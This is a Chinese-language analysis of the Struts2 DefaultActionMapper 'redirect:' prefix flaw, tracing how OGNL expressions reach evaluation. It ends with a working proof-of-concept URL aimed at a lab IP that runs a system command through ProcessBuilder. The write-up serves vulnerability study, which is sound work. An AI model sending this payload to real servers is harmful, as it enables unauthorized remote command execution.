在struts2中,DefaultActionMapper類支持以"action:"、"redirect:"、"redirectAction:"作為導航或是重定向前綴,但是這些前綴後面同時可以跟OGNL表達式,由於struts2沒有對這些前綴做過濾,導致利用OGNL表達式調用java靜態方法執行任意系統命令。
這裡以“redirect:”前綴舉例,struts2會將“redirect:”前綴後面的內容設置到redirect.location當中,這裡我們一步步跟蹤,首先是這個getMapping函數跟入
這裡一直到這個handleSpecialParameters(),繼續跟入
這裡真正傳入OGNL表達式是在這個parameterAction.execute()中,繼續跟入來到DefaultActionMapper.java的代碼
這裡key.substring(REDIRECT_PREFIX.length())便是前綴後面的內容也就是OGNL表達式,struts2會調用setLocation方法將他設置到redirect.location中。然後這裡調用mapping.setResult(redirect)將redirect對象設置到mapping對象中的result裡,如圖所示
然而上面的過程只是傳遞OGNL表達式,真正執行是在後面,這裡是在FilterDispatcher類中的dispatcher.serviceAction()方法,這裡的mapping對象中設置了傳入的OGNL
這裡跟入方法最終會在TextParseUtil這個類的調用stack.findValue()方法執行OGNL。
PoC:
http://192.168.237.131:8080/u/hello1.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'calc'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter()}
漏洞重現: